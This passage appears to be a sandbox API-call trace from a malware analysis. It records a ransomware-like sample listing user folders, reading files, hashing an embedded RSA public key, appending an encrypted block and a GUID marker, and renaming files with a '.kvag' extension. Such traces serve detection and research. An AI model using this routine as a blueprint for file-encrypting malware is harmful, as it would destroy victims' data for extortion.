(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMZDvujBwo0QTetEg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\omzdvujbwo0qteteg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\oMZDvujBwo0QTetEg.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\omzdvujbwo0qteteg.mp4.kvag")) returned 1 [0120.240] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35ec8490, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x445aacc0, ftLastAccessTime.dwHighDateTime=0x1d4d1a1, ftLastWriteTime.dwLowDateTime=0x445aacc0, ftLastWriteTime.dwHighDateTime=0x1d4d1a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PO z8nOyg", cAlternateFileName="POZ8NO~1")) returned 1 [0120.240] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Iy8x9AH9E4iyV", cAlternateFileName="_IY8X9~1")) returned 1 [0120.240] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_Iy8x9AH9E4iyV", cAlternateFileName="_IY8X9~1")) returned 0 [0120.240] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.240] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.240] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.240] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.241] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0120.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0120.241] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.241] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.241] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.241] PathFindFileNameW (pszPath="") returned="" [0120.241] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.241] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.241] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0120.241] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0120.241] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0120.241] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0120.241] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.241] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.241] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.241] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.242] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.242] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\") returned="MnXmRfGpxPOeczS\\" [0120.242] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0120.242] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.242] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.242] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.242] PathFindFileNameW (pszPath="") returned="" [0120.242] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46011050, ftCreationTime.dwHighDateTime=0x1d4c599, ftLastAccessTime.dwLowDateTime=0x9c760530, ftLastAccessTime.dwHighDateTime=0x1d4cdd7, ftLastWriteTime.dwLowDateTime=0x9c760530, ftLastWriteTime.dwHighDateTime=0x1d4cdd7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.243] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd8561f0, ftCreationTime.dwHighDateTime=0x1d4c626, ftLastAccessTime.dwLowDateTime=0x84672b50, ftLastAccessTime.dwHighDateTime=0x1d4cf89, ftLastWriteTime.dwLowDateTime=0x84672b50, ftLastWriteTime.dwHighDateTime=0x1d4cf89, nFileSizeHigh=0x0, nFileSizeLow=0x8374, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AWCJ.swf", cAlternateFileName="")) returned 1 [0120.243] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\AWCJ.swf") returned=".swf" [0120.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\AWCJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\awcj.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.244] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=33652) returned 1 [0120.244] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.245] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x834e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.245] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.247] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8374, lpOverlapped=0x0) returned 1 [0120.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.247] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.248] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.248] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.248] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.248] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.248] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.248] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.248] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.249] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.249] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.249] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.249] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.249] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.249] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.249] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.249] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.249] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.249] CloseHandle (hObject=0x61c) returned 1 [0120.252] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\AWCJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\awcj.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\AWCJ.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\awcj.swf.kvag")) returned 1 [0120.253] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46dcda0, ftCreationTime.dwHighDateTime=0x1d4c790, ftLastAccessTime.dwLowDateTime=0xcba08f60, ftLastAccessTime.dwHighDateTime=0x1d4cde1, ftLastWriteTime.dwLowDateTime=0xcba08f60, ftLastWriteTime.dwHighDateTime=0x1d4cde1, nFileSizeHigh=0x0, nFileSizeLow=0x7c45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cPQuzY v_o s.bmp", cAlternateFileName="CPQUZY~1.BMP")) returned 1 [0120.253] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\cPQuzY v_o s.bmp") returned=".bmp" [0120.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\cPQuzY v_o s.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\cpquzy v_o s.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.253] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=31813) returned 1 [0120.253] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.255] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7c1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.255] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.256] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7c45, lpOverlapped=0x0) returned 1 [0120.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.257] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.257] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607c68) returned 1 [0120.258] CryptCreateHash (in: hProv=0x3607c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.258] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.258] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.258] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.258] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.258] CryptReleaseContext (hProv=0x3607c68, dwFlags=0x0) returned 1 [0120.258] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.258] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.258] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.258] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.258] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.259] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.259] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.259] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.259] CloseHandle (hObject=0x61c) returned 1 [0120.260] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\cPQuzY v_o s.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\cpquzy v_o s.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\cPQuzY v_o s.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\cpquzy v_o s.bmp.kvag")) returned 1 [0120.261] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3709c0, ftCreationTime.dwHighDateTime=0x1d4ca19, ftLastAccessTime.dwLowDateTime=0xc14138f0, ftLastAccessTime.dwHighDateTime=0x1d4d564, ftLastWriteTime.dwLowDateTime=0xc14138f0, ftLastWriteTime.dwHighDateTime=0x1d4d564, nFileSizeHigh=0x0, nFileSizeLow=0xba04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e8jYy.bmp", cAlternateFileName="")) returned 1 [0120.261] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\e8jYy.bmp") returned=".bmp" [0120.261] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MnXmRfGpxPOeczS\\e8jYy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mnxmrfgpxpoeczs\\e8jyy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.262] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=47620) returned 1 [0120.262] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.264] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb9de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.264] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.266] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xba04, 